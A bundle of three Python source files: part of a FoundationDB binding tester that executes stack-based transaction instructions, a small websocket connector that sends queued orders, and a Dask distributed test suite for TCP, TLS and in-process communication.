return [item[1] for item in raw]
class Instruction:
def __init__(self, tr, stack, op, index, isDatabase=False, isTenant=False, isSnapshot=False):
self.tr = tr
self.stack = stack
self.op = op
self.index = index
self.isDatabase = isDatabase
self.isTenant = isTenant
self.isSnapshot = isSnapshot
def pop(self, count=None, with_idx=False):
return self.stack.pop(count, with_idx)
def push(self, val):
self.stack.push(self.index, val)
def test_fdb_transactional_generator(db):
try:
@fdb.transactional
def function_that_yields(tr):
yield 0
assert fdb.get_api_version() < 630, "Pre-6.3, a decorator may wrap a function that yields"
except ValueError as e:
assert fdb.get_api_version() >= 630, "Post-6.3, a decorator should throw if wrapped function yields"
def test_fdb_transactional_returns_generator(db):
try:
def function_that_yields(tr):
yield 0
@fdb.transactional
def function_that_returns(tr):
return function_that_yields(tr)
function_that_returns()
assert fdb.get_api_version() < 630, "Pre-6.3, returning a generator is allowed"
except ValueError as e:
assert fdb.get_api_version() >= 630, "Post-6.3, returning a generator should throw"
def test_db_options(db):
db.options.set_location_cache_size(100001)
db.options.set_max_watches(100001)
db.options.set_datacenter_id("dc_id")
db.options.set_machine_id("machine_id")
db.options.set_snapshot_ryw_enable()
db.options.set_snapshot_ryw_disable()
db.options.set_transaction_logging_max_field_length(1000)
db.options.set_transaction_timeout(100000)
db.options.set_transaction_timeout(0)
db.options.set_transaction_timeout(0)
db.options.set_transaction_max_retry_delay(100)
db.options.set_transaction_size_limit(100000)
db.options.set_transaction_retry_limit(10)
db.options.set_transaction_retry_limit(-1)
db.options.set_transaction_causal_read_risky()
db.options.set_transaction_include_port_in_address()
@fdb.transactional
def test_options(tr):
tr.options.set_priority_system_immediate()
tr.options.set_priority_batch()
tr.options.set_causal_read_risky()
tr.options.set_causal_write_risky()
tr.options.set_read_your_writes_disable()
tr.options.set_read_system_keys()
tr.options.set_access_system_keys()
tr.options.set_transaction_logging_max_field_length(1000)
tr.options.set_timeout(60 * 1000)
tr.options.set_retry_limit(50)
tr.options.set_max_retry_delay(100)
tr.options.set_used_during_commit_protection_disable()
tr.options.set_debug_transaction_identifier('my_transaction')
tr.options.set_log_transaction()
tr.options.set_read_lock_aware()
tr.options.set_lock_aware()
tr.options.set_include_port_in_address()
tr.get(b'\xff').wait()
def check_watches(db, watches, expected):
for i, watch in enumerate(watches):
if watch.is_ready() or expected:
try:
watch.wait()
if not expected:
assert False, "Watch %d is ready" % i
except fdb.FDBError as e:
tr = db.create_transaction()
tr.on_error(e).wait()
return False
return True
def test_watches(db):
while True:
db[b'w0'] = b'0'
db[b'w3'] = b'3'
watches = [None]
@fdb.transactional
def txn1(tr):
watches[0] = tr.watch(b'w0')
tr.set(b'w0', b'0')
assert not watches[0].is_ready()
txn1(db)
watches.append(db.clear_and_watch(b'w1'))
watches.append(db.set_and_watch(b'w2', b'2'))
watches.append(db.get_and_watch(b'w3'))
assert watches[3][0] == b'3'
watches[3] = watches[3][1]
time.sleep(1)
if not check_watches(db, watches, False):
continue
del db[b'w1']
time.sleep(5)
if not check_watches(db, watches, False):
continue
db[b'w0'] = b'a'
db[b'w1'] = b'b'
del db[b'w2']
db.bit_xor(b'w3', b'\xff\xff')
if check_watches(db, watches, True):
return
@fdb.transactional
def test_locality(tr):
tr.options.set_timeout(60 * 1000)
tr.options.set_read_system_keys() # We do this because the last shard (for now, someday the last N shards) is in the /FF/ keyspace
# This isn't strictly transactional, thought we expect it to be given the size of our database
boundary_keys = list(fdb.locality.get_boundary_keys(tr, b'', b'\xff\xff')) + [b'\xff\xff']
end_keys = [tr.get_key(fdb.KeySelector.last_less_than(k)) for k in boundary_keys[1:]]
start_addresses = [fdb.locality.get_addresses_for_key(tr, k) for k in boundary_keys[:-1]]
end_addresses = [fdb.locality.get_addresses_for_key(tr, k) for k in end_keys]
if [set(s.wait()) for s in start_addresses] != [set(e.wait()) for e in end_addresses]:
raise Exception("Locality not internally consistent.")
def test_predicates():
assert fdb.predicates.is_retryable(fdb.FDBError(1020))
assert not fdb.predicates.is_retryable(fdb.FDBError(10))
class Tester:
tr_map = {}
tr_map_lock = threading.RLock()
def __init__(self, db, prefix):
self.db = db
self.tenant = None
self.instructions = self.db[fdb.tuple.range((prefix,))]
self.stack = Stack()
self.tr_name = prefix
Tester.tr_map[self.tr_name] = None
self.last_version = 0
self.threads = []
self.directory_extension = DirectoryExtension()
def push_range(self, inst, iter, prefix_filter=None):
kvs = []
for k, v in iter:
if prefix_filter is None or k.startswith(prefix_filter):
kvs += [k, v]
inst.push(fdb.tuple.pack(tuple(kvs)))
@staticmethod
@fdb.transactional
def wait_empty(tr, prefix):
res = tr.get_range_startswith(prefix, 1).to_list()
if len(res) == 1:
raise fdb.FDBError(1020)
@fdb.transactional
def log_stack(self, tr, prefix, entries):
for i, (idx, el) in entries.items():
pk = prefix + fdb.tuple.pack((i, idx))
pv = fdb.tuple.pack((el,))
tr.set(pk, pv[:40000])
def current_transaction(self):
with Tester.tr_map_lock:
return Tester.tr_map[self.tr_name]
def new_transaction(self):
with Tester.tr_map_lock:
tr_source = self.tenant if self.tenant is not None else self.db
Tester.tr_map[self.tr_name] = tr_source.create_transaction()
def switch_transaction(self, name):
self.tr_name = name
with Tester.tr_map_lock:
if self.tr_name not in Tester.tr_map:
self.new_transaction()
def run(self):
for idx, i in enumerate(self.instructions):
op_tuple = fdb.tuple.unpack(i.value)
op = op_tuple[0]
# print("Stack is %r" % self.stack)
# if op != "PUSH" and op != "SWAP":
# print("%d. Instruction is %s" % (idx, op))
isDatabase = op.endswith(six.u('_DATABASE'))
isTenant = op.endswith(six.u('_TENANT'))
isSnapshot = op.endswith(six.u('_SNAPSHOT'))
if isDatabase:
op = op[:-9]
obj = self.db
elif isTenant:
op = op[:-7]
obj = self.tenant if self.tenant else self.db
elif isSnapshot:
op = op[:-9]
obj = self.current_transaction().snapshot
else:
obj = self.current_transaction()
inst = Instruction(obj, self.stack, op, idx, isDatabase, isTenant, isSnapshot)
try:
if inst.op == six.u("PUSH"):
inst.push(op_tuple[1])
elif inst.op == six.u("DUP"):
inst.stack.push(*self.stack[0])
elif inst.op == six.u("EMPTY_STACK"):
self.stack = Stack()
elif inst.op == six.u("SWAP"):
idx = inst.pop()
self.stack[0], self.stack[idx] = self.stack[idx], self.stack[0]
elif inst.op == six.u("POP"):
inst.pop()
elif inst.op == six.u("SUB"):
a, b = inst.pop(2)
inst.push(a - b)
elif inst.op == six.u("CONCAT"):
a, b = inst.pop(2)
inst.push(a + b)
elif inst.op == six.u("WAIT_FUTURE"):
old_idx, item = inst.pop(with_idx=True)
inst.stack.push(old_idx, item)
elif inst.op == six.u("NEW_TRANSACTION"):
self.new_transaction()
elif inst.op == six.u("USE_TRANSACTION"):
self.switch_transaction(inst.pop())
elif inst.op == six.u("ON_ERROR"):
inst.push(inst.tr.on_error(inst.pop()))
elif inst.op == six.u("GET"):
key = inst.pop()
num = random.randint(0, 2)
if num == 0:
f = obj[key]
elif num == 1:
f = obj.get(key)
else:
f = obj.__getitem__(key)
if f == None:
inst.push(b'RESULT_NOT_PRESENT')
else:
inst.push(f)
elif inst.op == six.u("GET_ESTIMATED_RANGE_SIZE"):
begin, end = inst.pop(2)
estimatedSize = obj.get_estimated_range_size_bytes(begin, end).wait()
inst.push(b"GOT_ESTIMATED_RANGE_SIZE")
elif inst.op == six.u("GET_RANGE_SPLIT_POINTS"):
begin, end, chunkSize = inst.pop(3)
estimatedSize = obj.get_range_split_points(begin, end, chunkSize).wait()
inst.push(b"GOT_RANGE_SPLIT_POINTS")
elif inst.op == six.u("GET_KEY"):
key, or_equal, offset, prefix = inst.pop(4)
result = obj.get_key(fdb.KeySelector(key, or_equal, offset))
if result.startswith(prefix):
inst.push(result)
elif result < prefix:
inst.push(prefix)
else:
inst.push(strinc(prefix))
elif inst.op == six.u("GET_RANGE"):
begin, end, limit, reverse, mode = inst.pop(5)
if limit == 0 and mode == -1 and random.random() < 0.5:
if reverse:
r = obj[begin:end:-1]
else:
r = obj[begin:end]
else:
r = obj.get_range(begin, end, limit, reverse, mode)
self.push_range(inst, r)
elif inst.op == six.u("GET_RANGE_STARTS_WITH"):
prefix, limit, reverse, mode = inst.pop(4)
self.push_range(inst, obj.get_range_startswith(prefix, limit, reverse, mode))
elif inst.op == six.u("GET_RANGE_SELECTOR"):
begin_key, begin_or_equal, begin_offset, end_key, end_or_equal, end_offset, limit, reverse, mode, prefix = inst.pop(10)
beginSel = fdb.KeySelector(begin_key, begin_or_equal, begin_offset)
endSel = fdb.KeySelector(end_key, end_or_equal, end_offset)
if limit == 0 and mode == -1 and random.random() < 0.5:
if reverse:
r = obj[beginSel:endSel:-1]
else:
r = obj[beginSel:endSel]
else:
r = obj.get_range(beginSel, endSel, limit, reverse, mode)
self.push_range(inst, r, prefix_filter=prefix)
elif inst.op == six.u("GET_READ_VERSION"):
self.last_version = obj.get_read_version().wait()
inst.push(b"GOT_READ_VERSION")
elif inst.op == six.u("SET"):
key, value = inst.pop(2)
if random.random() < 0.5:
obj[key] = value
else:
obj.set(key, value)
if obj == self.db:
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("LOG_STACK"):
prefix = inst.pop()
entries = {}
while len(self.stack) > 0:
stack_index = len(self.stack) - 1
entries[stack_index] = inst.pop(with_idx=True)
if len(entries) == 100:
self.log_stack(self.db, prefix, entries)
entries = {}
self.log_stack(self.db, prefix, entries)
elif inst.op == six.u("ATOMIC_OP"):
opType, key, value = inst.pop(3)
getattr(obj, opType.lower())(key, value)
if obj == self.db:
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("SET_READ_VERSION"):
inst.tr.set_read_version(self.last_version)
elif inst.op == six.u("CLEAR"):
if random.random() < 0.5:
del obj[inst.pop()]
else:
obj.clear(inst.pop())
if obj == self.db:
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("CLEAR_RANGE"):
begin, end = inst.pop(2)
num = random.randint(0, 2)
if num == 0:
del obj[begin:end]
elif num == 1:
obj.clear_range(begin, end)
else:
obj.__delitem__(slice(begin, end))
if obj == self.db:
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("CLEAR_RANGE_STARTS_WITH"):
obj.clear_range_startswith(inst.pop())
if obj == self.db:
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("READ_CONFLICT_RANGE"):
inst.tr.add_read_conflict_range(inst.pop(), inst.pop())
inst.push(b"SET_CONFLICT_RANGE")
elif inst.op == six.u("WRITE_CONFLICT_RANGE"):
inst.tr.add_write_conflict_range(inst.pop(), inst.pop())
inst.push(b"SET_CONFLICT_RANGE")
elif inst.op == six.u("READ_CONFLICT_KEY"):
inst.tr.add_read_conflict_key(inst.pop())
inst.push(b"SET_CONFLICT_KEY")
elif inst.op == six.u("WRITE_CONFLICT_KEY"):
inst.tr.add_write_conflict_key(inst.pop())
inst.push(b"SET_CONFLICT_KEY")
elif inst.op == six.u("DISABLE_WRITE_CONFLICT"):
inst.tr.options.set_next_write_no_write_conflict_range()
elif inst.op == six.u("COMMIT"):
inst.push(inst.tr.commit())
elif inst.op == six.u("RESET"):
inst.tr.reset()
elif inst.op == six.u("CANCEL"):
inst.tr.cancel()
elif inst.op == six.u("GET_COMMITTED_VERSION"):
self.last_version = inst.tr.get_committed_version()
inst.push(b"GOT_COMMITTED_VERSION")
elif inst.op == six.u("GET_APPROXIMATE_SIZE"):
approximate_size = inst.tr.get_approximate_size().wait()
inst.push(b"GOT_APPROXIMATE_SIZE")
elif inst.op == six.u("GET_VERSIONSTAMP"):
inst.push(inst.tr.get_versionstamp())
elif inst.op == six.u("TUPLE_PACK"):
count = inst.pop()
items = inst.pop(count)
inst.push(fdb.tuple.pack(tuple(items)))
elif inst.op == six.u("TUPLE_PACK_WITH_VERSIONSTAMP"):
prefix = inst.pop()
count = inst.pop()
items = inst.pop(count)
if not fdb.tuple.has_incomplete_versionstamp(items) and random.random() < 0.5:
inst.push(b"ERROR: NONE")
else:
try:
packed = fdb.tuple.pack_with_versionstamp(tuple(items), prefix=prefix)
inst.push(b"OK")
inst.push(packed)
except ValueError as e:
if str(e).startswith("No incomplete"):
inst.push(b"ERROR: NONE")
else:
inst.push(b"ERROR: MULTIPLE")
elif inst.op == six.u("TUPLE_UNPACK"):
for i in fdb.tuple.unpack(inst.pop()):
inst.push(fdb.tuple.pack((i,)))
elif inst.op == six.u("TUPLE_SORT"):
count = inst.pop()
items = inst.pop(count)
unpacked = map(fdb.tuple.unpack, items)
if six.PY3:
sorted_items = sorted(unpacked, key=fdb.tuple.pack)
else:
sorted_items = sorted(unpacked, cmp=fdb.tuple.compare)
for item in sorted_items:
inst.push(fdb.tuple.pack(item))
elif inst.op == six.u("TUPLE_RANGE"):
count = inst.pop()
items = inst.pop(count)
r = fdb.tuple.range(tuple(items))
inst.push(r.start)
inst.push(r.stop)
elif inst.op == six.u("ENCODE_FLOAT"):
f_bytes = inst.pop()
f = struct.unpack(">f", f_bytes)[0]
if not math.isnan(f) and not math.isinf(f) and not f == -0.0 and f == int(f):
f = int(f)
inst.push(fdb.tuple.SingleFloat(f))
elif inst.op == six.u("ENCODE_DOUBLE"):
d_bytes = inst.pop()
d = struct.unpack(">d", d_bytes)[0]
inst.push(d)
elif inst.op == six.u("DECODE_FLOAT"):
f = inst.pop()
f_bytes = struct.pack(">f", f.value)
inst.push(f_bytes)
elif inst.op == six.u("DECODE_DOUBLE"):
d = inst.pop()
d_bytes = struct.pack(">d", d)
inst.push(d_bytes)
elif inst.op == six.u("START_THREAD"):
t = Tester(self.db, inst.pop())
thr = threading.Thread(target=t.run)
thr.start()
self.threads.append(thr)
elif inst.op == six.u("WAIT_EMPTY"):
prefix = inst.pop()
Tester.wait_empty(self.db, prefix)
inst.push(b"WAITED_FOR_EMPTY")
elif inst.op == six.u("TENANT_CREATE"):
name = inst.pop()
fdb.tenant_management.create_tenant(self.db, name)
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("TENANT_DELETE"):
name = inst.pop()
fdb.tenant_management.delete_tenant(self.db, name)
inst.push(b"RESULT_NOT_PRESENT")
elif inst.op == six.u("TENANT_SET_ACTIVE"):
name = inst.pop()
self.tenant = self.db.open_tenant(name)
elif inst.op == six.u("TENANT_CLEAR_ACTIVE"):
self.tenant = None
elif inst.op == six.u("TENANT_LIST"):
begin, end, limit = inst.pop(3)
tenant_list = fdb.tenant_management.list_tenants(self.db, begin, end, limit)
result = []
for tenant in tenant_list:
result += [tenant.key]
try:
metadata = json.loads(tenant.value)
id = metadata["id"]
prefix = metadata["prefix"]
except (json.decoder.JSONDecodeError, KeyError) as e:
assert False, "Invalid Tenant Metadata"
inst.push(fdb.tuple.pack(tuple(result)))
elif inst.op == six.u("UNIT_TESTS"):
try:
test_db_options(db)
test_options(db)
test_watches(db)
test_cancellation(db)
test_retry_limits(db)
test_db_retry_limits(db)
test_timeouts(db)
test_db_timeouts(db)
test_combinations(db)
test_locality(db)
test_predicates()
test_size_limit_option(db)
test_get_approximate_size(db)
if fdb.get_api_version() >= 710:
test_tenants(db)
except fdb.FDBError as e:
print("Unit tests failed: %s" % e.description)
traceback.print_exc()
raise Exception("Unit tests failed: %s" % e.description)
elif inst.op.startswith(six.u('DIRECTORY_')):
self.directory_extension.process_instruction(inst)
else:
raise Exception("Unknown op %s" % inst.op)
except fdb.FDBError as e:
# print('ERROR: %r' % e)
inst.stack.push(idx, fdb.tuple.pack((b"ERROR", str(e.code).encode('ascii'))))
# print(" to %s" % self.stack)
# print()
[thr.join() for thr in self.threads]
if __name__ == '__main__':
t = Tester(db, sys.argv[1].encode('ascii'))
t.run()
|
ws_connector.py
|
import json
import queue
import time
import websocket
from threading import Thread, Timer
from tools import logger
class Connection:
def __init__(self, host, port, orders_queue, output_queue, bot=None):
self.stop = [False]
self.host = host
self.port = port
self.logger = logger.get_logger(__name__, 'Connection-{}-{}'.format(host, port) if bot is None else bot['name'])
self.orders_queue = orders_queue
self.output_queue = output_queue
self.connection_string = 'ws://{}:{}'.format(host, port)
self.logger.info('Connecting to websocket at: ' + self.connection_string)
self.connection = websocket.WebSocketApp(self.connection_string, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close)
self.connection.run_forever(ping_interval=15)
if not self.stop[0]:
raise Exception("Websocket at {} closed unexpectedly".format(self.connection_string))
def on_message(self, message):
self.logger.info('Recieved message from API: ' + message)
self.output_queue.put((message, ))
def on_error(self, error):
self.logger.error(error)
def on_close(self):
print('Closing')
if self.stop[0]:
self.logger.info("Websocket at {} closed successfully".format(self.connection_string))
logger.close_logger(self.logger)
else:
self.logger.error("Websocket at {} closed unexpectedly".format(self.connection_string))
logger.close_logger(self.logger)
def on_open(self):
self.logger.info('Connection established to websocket at ' + self.connection_string + ', ready to send orders')
def run(queue):
while 1:
for order in queue.get():
if json.loads(order)['command'] == 'conn_shutdown':
self.stop = [True] # Using a mutable so it carries its value outside the thread
self.logger.info('Sending order: ' + str(order))
self.connection.send(str(order).encode('utf8'))
if self.stop == [True]:
break
self.logger.info('Websocket connection shutting down')
self.connection.close()
Thread(target=run, args=(self.orders_queue, )).start()
if __name__ == '__main__':
pass
|
test_comms.py
|
from __future__ import print_function, division, absolute_import
from functools import partial
import os
import sys
import threading
import warnings
import pytest
from tornado import gen, ioloop, locks, queues
from tornado.concurrent import Future
from distributed.compatibility import PY3
from distributed.metrics import time
from distributed.utils import get_ip, get_ipv6
from distributed.utils_test import (
gen_test,
requires_ipv6,
has_ipv6,
get_cert,
get_server_ssl_context,
get_client_ssl_context,
)
from distributed.utils_test import loop # noqa: F401
from distributed.protocol import to_serialize, Serialized, serialize, deserialize
from distributed.comm.registry import backends
from distributed.comm import (
tcp,
inproc,
connect,
listen,
CommClosedError,
parse_address,
parse_host_port,
unparse_host_port,
resolve_address,
get_address_host,
get_local_address_for,
)
EXTERNAL_IP4 = get_ip()
if has_ipv6():
with warnings.catch_warnings(record=True):
warnings.simplefilter("always")
EXTERNAL_IP6 = get_ipv6()
ca_file = get_cert("tls-ca-cert.pem")
# The Subject field of our test certs
cert_subject = (
(("countryName", "XY"),),
(("localityName", "Dask-distributed"),),
(("organizationName", "Dask"),),
(("commonName", "localhost"),),
)
def check_tls_extra(info):
assert isinstance(info, dict)
assert info["peercert"]["subject"] == cert_subject
assert "cipher" in info
cipher_name, proto_name, secret_bits = info["cipher"]
# Most likely
assert "AES" in cipher_name
assert "TLS" in proto_name
assert secret_bits >= 128
tls_kwargs = dict(
listen_args={"ssl_context": get_server_ssl_context()},
connect_args={"ssl_context": get_client_ssl_context()},
)
@gen.coroutine
def get_comm_pair(listen_addr, listen_args=None, connect_args=None, **kwargs):
q = queues.Queue()
def handle_comm(comm):
q.put(comm)
listener = listen(listen_addr, handle_comm, connection_args=listen_args, **kwargs)
listener.start()
comm = yield connect(
listener.contact_address, connection_args=connect_args, **kwargs
)
serv_comm = yield q.get()
raise gen.Return((comm, serv_comm))
def get_tcp_comm_pair(**kwargs):
return get_comm_pair("tcp://", **kwargs)
def get_tls_comm_pair(**kwargs):
kwargs.update(tls_kwargs)
return get_comm_pair("tls://", **kwargs)
def get_inproc_comm_pair(**kwargs):
return get_comm_pair("inproc://", **kwargs)
@gen.coroutine
def debug_loop():
"""
Debug helper
"""
while True:
loop = ioloop.IOLoop.current()
print(".", loop, loop._handlers)
yield gen.sleep(0.50)
#
# Test utility functions
#
def test_parse_host_port():
f = parse_host_port
assert f("localhost:123") == ("localhost", 123)
assert f("127.0.0.1:456") == ("127.0.0.1", 456)
assert f("localhost:123", 80) == ("localhost", 123)
assert f("localhost", 80) == ("localhost", 80)
with pytest.raises(ValueError):
f("localhost")
assert f("[::1]:123") == ("::1", 123)
assert f("[fe80::1]:123", 80) == ("fe80::1", 123)
assert f("[::1]", 80) == ("::1", 80)
with pytest.raises(ValueError):
f("[::1]")
with pytest.raises(ValueError):
f("::1:123")
with pytest.raises(ValueError):
f("::1")
def test_unparse_host_port():
f = unparse_host_port
assert f("localhost", 123) == "localhost:123"
assert f("127.0.0.1", 123) == "127.0.0.1:123"
assert f("::1", 123) == "[::1]:123"
assert f("[::1]", 123) == "[::1]:123"
assert f("127.0.0.1") == "127.0.0.1"
assert f("127.0.0.1", None) == "127.0.0.1"
assert f("127.0.0.1", "*") == "127.0.0.1:*"
assert f("::1") == "[::1]"
assert f("[::1]") == "[::1]"
assert f("::1", "*") == "[::1]:*"
def test_get_address_host():
f = get_address_host
assert f("tcp://127.0.0.1:123") == "127.0.0.1"
assert f("inproc://%s/%d/123" % (get_ip(), os.getpid())) == get_ip()
def test_resolve_address():
f = resolve_address
assert f("tcp://127.0.0.1:123") == "tcp://127.0.0.1:123"
assert f("127.0.0.2:789") == "tcp://127.0.0.2:789"
assert f("tcp://0.0.0.0:456") == "tcp://0.0.0.0:456"
assert f("tcp://0.0.0.0:456") == "tcp://0.0.0.0:456"
if has_ipv6():
assert f("tcp://[::1]:123") == "tcp://[::1]:123"
assert f("tls://[::1]:123") == "tls://[::1]:123"
# OS X returns '::0.0.0.2' as canonical representation
assert f("[::2]:789") in ("tcp://[::2]:789", "tcp://[::0.0.0.2]:789")
assert f("tcp://[::]:123") == "tcp://[::]:123"
assert f("localhost:123") == "tcp://127.0.0.1:123"
assert f("tcp://localhost:456") == "tcp://127.0.0.1:456"
assert f("tls://localhost:456") == "tls://127.0.0.1:456"
def test_get_local_address_for():
f = get_local_address_for
assert f("tcp://127.0.0.1:80") == "tcp://127.0.0.1"
assert f("tcp://8.8.8.8:4444") == "tcp://" + get_ip()
if has_ipv6():
assert f("tcp://[::1]:123") == "tcp://[::1]"
inproc_arg = "inproc://%s/%d/444" % (get_ip(), os.getpid())
inproc_res = f(inproc_arg)
assert inproc_res.startswith("inproc://")
assert inproc_res != inproc_arg
#
# Test concrete transport APIs
#
@gen_test()
def test_tcp_specific():
"""
Test concrete TCP API.
"""
@gen.coroutine
def handle_comm(comm):
assert comm.peer_address.startswith("tcp://" + host)
assert comm.extra_info == {}
msg = yield comm.read()
msg["op"] = "pong"
yield comm.write(msg)
yield comm.close()
listener = tcp.TCPListener("localhost", handle_comm)
listener.start()
host, port = listener.get_host_port()
assert host in ("localhost", "127.0.0.1", "::1")
assert port > 0
connector = tcp.TCPConnector()
l = []
@gen.coroutine
def client_communicate(key, delay=0):
addr = "%s:%d" % (host, port)
comm = yield connector.connect(addr)
assert comm.peer_address == "tcp://" + addr
assert comm.extra_info == {}
yield comm.write({"op": "ping", "data": key})
if delay:
yield gen.sleep(delay)
msg = yield comm.read()
assert msg == {"op": "pong", "data": key}
l.append(key)
yield comm.close()
yield client_communicate(key=1234)
# Many clients at once
N = 100
futures = [client_communicate(key=i, delay=0.05) for i in range(N)]
yield futures
assert set(l) == {1234} | set(range(N))
@gen_test()
def test_tls_specific():
"""
Test concrete TLS API.
"""
@gen.coroutine
def handle_comm(comm):
assert comm.peer_address.startswith("tls://" + host)
check_tls_extra(comm.extra_info)
msg = yield comm.read()
msg["op"] = "pong"
yield comm.write(msg)
yield comm.close()
server_ctx = get_server_ssl_context()
client_ctx = get_client_ssl_context()
listener = tcp.TLSListener("localhost", handle_comm, ssl_context=server_ctx)
listener.start()
host, port = listener.get_host_port()
assert host in ("localhost", "127.0.0.1", "::1")
assert port > 0
connector = tcp.TLSConnector()
l = []
@gen.coroutine
def client_communicate(key, delay=0):
addr = "%s:%d" % (host, port)
comm = yield connector.connect(addr, ssl_context=client_ctx)
assert comm.peer_address == "tls://" + addr
check_tls_extra(comm.extra_info)
yield comm.write({"op": "ping", "data": key})
if delay:
yield gen.sleep(delay)
msg = yield comm.read()
assert msg == {"op": "pong", "data": key}
l.append(key)
yield comm.close()
yield client_communicate(key=1234)
# Many clients at once
N = 100
futures = [client_communicate(key=i, delay=0.05) for i in range(N)]
yield futures
assert set(l) == {1234} | set(range(N))
@gen_test()
def test_comm_failure_threading():
"""
When we fail to connect, make sure we don't make a lot
of threads.
We only assert for PY3, because the thread limit only is
set for python 3. See github PR #2403 discussion for info.
"""
@gen.coroutine
def sleep_for_60ms():
max_thread_count = 0
for x in range(60):
yield gen.sleep(0.001)
thread_count = threading.active_count()
if thread_count > max_thread_count:
max_thread_count = thread_count
raise gen.Return(max_thread_count)
original_thread_count = threading.active_count()
# tcp.TCPConnector()
sleep_future = sleep_for_60ms()
with pytest.raises(IOError):
yield connect("tcp://localhost:28400", 0.052)
max_thread_count = yield sleep_future
# 2 is the number set by BaseTCPConnector.executor (ThreadPoolExecutor)
if PY3:
assert max_thread_count <= 2 + original_thread_count
# tcp.TLSConnector()
sleep_future = sleep_for_60ms()
with pytest.raises(IOError):
yield connect(
"tls://localhost:28400",
0.052,
connection_args={"ssl_context": get_client_ssl_context()},
)
max_thread_count = yield sleep_future
if PY3:
assert max_thread_count <= 2 + original_thread_count
@gen.coroutine
def check_inproc_specific(run_client):
"""
Test concrete InProc API.
"""
listener_addr = inproc.global_manager.new_address()
addr_head = listener_addr.rpartition("/")[0]
client_addresses = set()
N_MSGS = 3
@gen.coroutine
def handle_comm(comm):
assert comm.peer_address.startswith("inproc://" + addr_head)
client_addresses.add(comm.peer_address)
for i in range(N_MSGS):
msg = yield comm.read()
msg["op"] = "pong"
yield comm.write(msg)
yield comm.close()
listener = inproc.InProcListener(listener_addr, handle_comm)
listener.start()
assert (
listener.listen_address
== listener.contact_address
== "inproc://" + listener_addr
)
connector = inproc.InProcConnector(inproc.global_manager)
l = []
@gen.coroutine
def client_communicate(key, delay=0):
comm = yield connector.connect(listener_addr)
assert comm.peer_address == "inproc://" + listener_addr
for i in range(N_MSGS):
yield comm.write({"op": "ping", "data": key})
if delay:
yield gen.sleep(delay)
msg = yield comm.read()
assert msg == {"op": "pong", "data": key}
l.append(key)
with pytest.raises(CommClosedError):
yield comm.read()
yield comm.close()
client_communicate = partial(run_client, client_communicate)
yield client_communicate(key=1234)
# Many clients at once
N = 20
futures = [client_communicate(key=i, delay=0.001) for i in range(N)]
yield futures
assert set(l) == {1234} | set(range(N))
assert len(client_addresses) == N + 1
assert listener.contact_address not in client_addresses
def run_coro(func, *args, **kwargs):
return func(*args, **kwargs)
def run_coro_in_thread(func, *args, **kwargs):
fut = Future()
main_loop = ioloop.IOLoop.current()
def run():
thread_loop = ioloop.IOLoop() # need fresh IO loop for run_sync()
try:
res = thread_loop.run_sync(partial(func, *args, **kwargs), timeout=10)
except Exception:
main_loop.add_callback(fut.set_exc_info, sys.exc_info())
else:
main_loop.add_callback(fut.set_result, res)
finally:
thread_loop.close()
t = threading.Thread(target=run)
t.start()
return fut
@gen_test()
def test_inproc_specific_same_thread():
yield check_inproc_specific(run_coro)
@gen_test()
def test_inproc_specific_different_threads():
yield check_inproc_specific(run_coro_in_thread)
#
# Test communications through the abstract API
#
@gen.coroutine
def check_client_server(
addr,
check_listen_addr=None,
check_contact_addr=None,
listen_args=None,
connect_args=None,
):
"""
Abstract client / server test.
"""
@gen.coroutine
def handle_comm(comm):
scheme, loc = parse_address(comm.peer_address)
assert scheme == bound_scheme
msg = yield comm.read()
assert msg["op"] == "ping"
msg["op"] = "pong"
yield comm.write(msg)
msg = yield comm.read()
assert msg["op"] == "foobar"
yield comm.close()
# Arbitrary connection args should be ignored
listen_args = listen_args or {"xxx": "bar"}
connect_args = connect_args or {"xxx": "foo"}
listener = listen(addr, handle_comm, connection_args=listen_args)
listener.start()
# Check listener properties
bound_addr = listener.listen_address
bound_scheme, bound_loc = parse_address(bound_addr)
assert bound_scheme in backends
assert bound_scheme == parse_address(addr)[0]
if check_listen_addr is not None:
check_listen_addr(bound_loc)
contact_addr = listener.contact_address
contact_scheme, contact_loc = parse_address(contact_addr)
assert contact_scheme == bound_scheme
if check_contact_addr is not None:
check_contact_addr(contact_loc)
else:
assert contact_addr == bound_addr
# Check client <-> server comms
l = []
@gen.coroutine
def client_communicate(key, delay=0):
comm = yield connect(listener.contact_address, connection_args=connect_args)
assert comm.peer_address == listener.contact_address
yield comm.write({"op": "ping", "data": key})
yield comm.write({"op": "foobar"})
if delay:
yield gen.sleep(delay)
msg = yield comm.read()
assert msg == {"op": "pong", "data": key}
l.append(key)
yield comm.close()
yield client_communicate(key=1234)
# Many clients at once
futures = [client_communicate(key=i, delay=0.05) for i in range(20)]
yield futures
assert set(l) == {1234} | set(range(20))
listener.stop()
@gen_test()
def test_ucx_client_server():
pytest.importorskip("distributed.comm.ucx")
import ucp
addr = ucp.get_address()
yield check_client_server("ucx://" + addr)
def tcp_eq(expected_host, expected_port=None):
def checker(loc):
host, port = parse_host_port(loc)
assert host == expected_host
if expected_port is not None:
assert port == expected_port
else:
assert 1023 < port < 65536
return checker
tls_eq = tcp_eq
def inproc_check():
expected_ip = get_ip()
expected_pid = os.getpid()
def checker(loc):
ip, pid, suffix = loc.split("/")
assert ip == expected_ip
assert int(pid) == expected_pid
return checker
@gen_test()
def test_default_client_server_ipv4():
# Default scheme is (currently) TCP
yield check_client_server("127.0.0.1", tcp_eq("127.0.0.1"))
yield check_client_server("127.0.0.1:3201", tcp_eq("127.0.0.1", 3201))
yield check_client_server("0.0.0.0", tcp_eq("0.0.0.0"), tcp_eq(EXTERNAL_IP4))
yield check_client_server(
"0.0.0.0:3202", tcp_eq("0.0.0.0", 3202), tcp_eq(EXTERNAL_IP4, 3202)
)
# IPv4 is preferred for the bound address
yield check_client_server("", tcp_eq("0.0.0.0"), tcp_eq(EXTERNAL_IP4))
yield check_client_server(
":3203", tcp_eq("0.0.0.0", 3203), tcp_eq(EXTERNAL_IP4, 3203)
)
@requires_ipv6
@gen_test()
def test_default_client_server_ipv6():
yield check_client_server("[::1]", tcp_eq("::1"))
yield check_client_server("[::1]:3211", tcp_eq("::1", 3211))
